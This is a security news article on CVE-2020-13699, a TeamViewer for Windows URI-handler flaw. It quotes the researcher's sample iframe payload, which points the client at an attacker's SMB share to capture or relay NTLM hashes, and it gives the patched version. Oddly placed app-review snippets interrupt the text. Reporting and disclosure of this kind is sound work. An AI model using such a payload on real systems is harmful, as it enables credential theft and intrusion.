A high-risk vulnerability (CVE-2020-13699) in TeamViewer for Windows could be exploited by remote attackers to crack users’ password and, consequently, lead to further system exploitation.
About TeamViewer
The TeamViewer remote access software is easy to use and scalable and allows you to connect to and monitor any device, anywhere in the world. From desktop-to-desktop, desktop-to-mobile, mobile-to-mobile, or to unattended devices like servers and IoT devices.
TeamViewer is an application developed by German company TeamViewer GmbH and is available for Windows, macOS, Linux, Chrome OS, iOS, Android, Windows RT Windows Phone 8 and BlackBerry operating systems.
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- Teamviewer itself is fantastic; however, the Chromebook launcher, which is where I use it from, not so wonderful. It is basically a glorified link to the Teamviewer login site. Once there you are good, but it is just a link with signin capabilities. I can, and did, just make a link in my bookmarks and do the same thing, saving space along the way.
- Remote control Windows, Mac, and Linux computers with TeamViewer: Remote Control within seconds. Provide spontaneous support for friends and family, or access applications on your home computer while on the go. The TeamViewer app allows you to accomplish all of this as if you were sitting right in front of the remote computer.
- TeamViewer is a favorite in administrator and helpdesk circles and holds quite a decent share of the RAT market. A RAT is a program that is used by individuals, remote system administrators, or tech support personnel to remotely connect to a computer, server, or networking device across an Internet connection or via a local area network (LAN).
- Use this app to remotely control other devices Want to remote into this device? Download the QuickSupport app Remote into another computer, smartphone or tablet, while you are on the road! TeamViewer provides easy, fast and secure remote access and is already used on more than 1 billion devices worldwide. Use cases: - Control computers (Windows, Mac OS, Linux) remotely as if you were sitting.
It is used primarily for remote access to and control of various types of computer systems and mobile devices, but also offers collaboration and presentation features (e.g., desktop sharing, web conferencing, file transfer, etc.)
Since the advent of COVID-19, enterprise use of the software has increased due to many employees being forced to work from home.
About the vulnerability (CVE-2020-13699)
Teamviewer 14
CVE-2020-13699 is a security weakness arising from an unquoted search path or element – more specifically, it’s due to the application not properly quoting its custom URI handlers – and could be exploited when the system with a vulnerable version of TeamViewer installed visits a maliciously crafted website.
“An attacker could embed a malicious iframe in a website with a crafted URL (iframe src='teamviewer10: --play attacker-IPsharefake.tvs') that would launch the TeamViewer Windows desktop client and force it to open a remote SMB share,” explained Jeffrey Hofmann, a security engineer with Praetorian, who discovered and responsibly disclosed the flaw.
“Windows will perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking).”
As noted before, exploitation of the flaw can be initiated remotely and requires no previous authentication. The flaw seems ideal for targeted watering hole attacks.
There is no indication that this vulnerability is being exploited in the wild and no public exploit is currently available.
CIS assesses that the risk of exploitation is high for large and medium government and business entities, medium for small government and business entities, and low for home users.
According to the company, the vulnerability affects TeamViewer versions 8 through 15 (up to 15.8.2) for the Windows platform. Users are advised to upgrade to version 15.8.3 to close the hole.